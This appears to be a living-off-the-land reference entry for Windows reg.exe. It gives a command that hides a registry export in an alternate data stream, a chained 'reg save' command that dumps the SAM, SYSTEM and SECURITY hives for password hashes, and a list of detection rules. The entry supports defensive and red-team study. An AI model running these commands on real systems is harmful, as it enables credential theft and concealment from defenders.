01 / TRADECRAFT
2 examplesCommand reference
ADS1
EXAMPLE 01T1564.004
Export the target Registry key and save it to the specified .REG file within an Alternate data stream.
COMMAND
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.regCredentials1
EXAMPLE 01T1003.002
Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material
COMMAND
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}02 / ON DISK
Known paths
C:\Windows\System32\reg.exeC:\Windows\SysWOW64\reg.exe03 / DEFENSIVE INTELLIGENCE
5 resourcesDetection & indicators
- Sigmaproc_creation_win_regedit_import_keys_ads.ymlgithub.com
- Sigmaproc_creation_win_regedit_import_keys.ymlgithub.com
- Sigmaproc_creation_win_reg_dumping_sensitive_hives.ymlgithub.com
- Splunkattempted_credential_dump_from_registry_via_reg_exe.ymlgithub.com
- Elasticcredential_access_dump_registry_hives.tomlgithub.com
Indicators & detection notes
- IOC
reg.exe writing to an ADS
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Oddvar Moe@oddvarmoe